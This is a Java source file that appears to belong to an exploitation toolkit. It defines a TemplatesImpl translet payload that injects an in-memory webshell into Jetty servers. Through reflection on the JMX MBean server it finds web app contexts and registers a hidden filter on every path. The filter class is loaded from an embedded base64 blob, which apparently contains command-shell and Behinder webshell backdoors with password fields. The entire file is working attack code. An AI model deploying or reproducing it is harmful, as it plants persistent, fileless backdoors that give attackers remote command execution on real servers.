package com.achuna33.Templates;

import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.EnumSet;
import java.util.Set;

public class JettyMemshellTemplate extends AbstractTranslet {
    public JettyMemshellTemplate(){
        try{
            String filterName = "dynamicFilter";
            String urlPattern = "/*";

            JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();

            Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mBeanServer);

            field = obj.getClass().getDeclaredField("repository");
            field.setAccessible(true);
            Field modifier = field.getClass().getDeclaredField("modifiers");
            modifier.setAccessible(true);
            modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
            Repository repository = (Repository)field.get(obj);

            Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
            for(NamedObject namedObject : namedObjectSet){
                try{
                    field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
                    field.setAccessible(true);
                    modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
                    Object webAppContext = field.get(namedObject.getObject());

                    field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
                    field.setAccessible(true);
                    Object handler = field.get(webAppContext);

                    field = handler.getClass().getDeclaredField("_filters");
                    field.setAccessible(true);
                    Object[] objects = (Object[]) field.get(handler);

                    boolean flag = false;
                    for(Object o : objects){
                        field = o.getClass().getSuperclass().getDeclaredField("_name");
                        field.setAccessible(true);
                        String name = (String)field.get(o);
                        if(name.equals(filterName)){
                            flag = true;
                            break;
                        }
                    }

                    if(!flag){
                        System.out.println("[+] Add Dynamic Filter");

                        ClassLoader classLoader = handler.getClass().getClassLoader();
                        Class sourceClazz = null;
                        Object holder = null;
                        try{
                            sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
                            field = sourceClazz.getDeclaredField("JAVAX_API");
                            modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
                            Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
                            holder = method.invoke(handler, field.get(null));
                        }catch(ClassNotFoundException e){
                            sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
                            Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
                            holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
                        }

                        holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);

                        ClassLoader cl = Thread.currentThread().getContextClassLoader();
                        Class clazz;
                        try{
                            clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate");
                        }catch(ClassNotFoundException e){
                            BASE64Decoder base64Decoder = new BASE64Decoder();
                            String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7Ao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AEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=";
                            codeClass = "yv66vgAAADIBVgoAQgCkCAClCQBcAKYIAKcJAFwAqAgAqQkAXACqCgBcAKsJAKwArQgArgoArwCwCACxCwBIALIIALMKABMAtAoAEwC1CQC2ALcIALgHALkIALoIALsIAHYIALwHAL0KAL4AvwoAvgDACgDBAMIKABgAwwgAxAoAGADFCgAYAMYLAEkAxwoAyACwBwDJCwAiAMoLACIAywgAzAsAIgDNCADOCwDPANAIANEKANIA0wcA1AcA1QoALACkCwDPANYKACwA1wgA2AoALADZCgAsANoKABMA2woAKwDcCgDSAN0HAN4KADYApAsASADfCgDgAOEKADYA4goA0gDjCQBcAOQIAOUHAOYHAHsHAOcKAD4A6AcA6QoA6gDrCgDqAOwKAO0A7goAPgDvCADwBwDxBwDyBwDzCgBKAPQLAPUA9ggA9woAQAD4BwD5CAD6CQD7APwKAO0A/QoA+wD+BwD/CgBUAPQHAQAKAFYA9AcBAQoAWAD0BwECCgBaAPQHAQMHAQQBABJteUNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAEGJhc2ljQ21kU2hlbGxQd2QBABJMamF2YS9sYW5nL1N0cmluZzsBABNiZWhpbmRlclNoZWxsSGVhZGVyAQAQYmVoaW5kZXJTaGVsbFB3ZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAxTGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZ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DEj9TWQSyAFFTWQWyAFFTtgBBOgUZBQS2AFIqGQUrBr0AQlkDGQRTWQQDuABTU1kFGQS+uABTU7YARcAAPrUAPKcACjoGGQa2AFWnABhMK7YAV6cAEEwrtgBZpwAITCu2AFuxAAUABwARABQATwAoAHIAdQBUAAAAfAB/AFYAAAB8AIcAWAAAAHwAjwBaAAMAZwAAAF4AFwAAAE0ABwBPABEAWwAUAFAAFQBRABgAUgAlAFMAKABVAEYAVgBMAFcAcgBaAHUAWAB3AFkAfABiAH8AXACAAF0AhABiAIcAXgCIAF8AjABiAI8AYACQAGEAlABjAGgAAABmAAoAdwAFAI8AkAAGABgAZACRAGEAAwAlAFcAkgB7AAQAKABUAJMAgAAFABUAZwCBAJQAAgAHAHUAlQCWAAEAgAAEAIEAlwABAIgABACBAJgAAQCQAAQAgQCZAAEAAACVAGkAagAAAIkAAABFAAf/ABQAAgcAmgcAmwABBwCc/wBgAAYHAJoHAJsHAJwHAIoHAD8HAJ0AAQcAnv8ABgABBwCaAABCBwCfRwcAoEcHAKEEAAEAogAAAAIAow==";
                            byte[] bytes = base64Decoder.decodeBuffer(codeClass);

                            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                            method.setAccessible(true);
                            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
                        }

                        holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance());
                        handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);

                        clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
                        Object filterMapping = clazz.newInstance();
                        Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
                        method.setAccessible(true);
                        method.invoke(filterMapping, holder);
                        filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
                        filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));

                        // prependFilterMapping 会自动把 filter 加到最前面
                        handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
                    }
                }catch(Exception e){
                    //pass
                }
            }
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
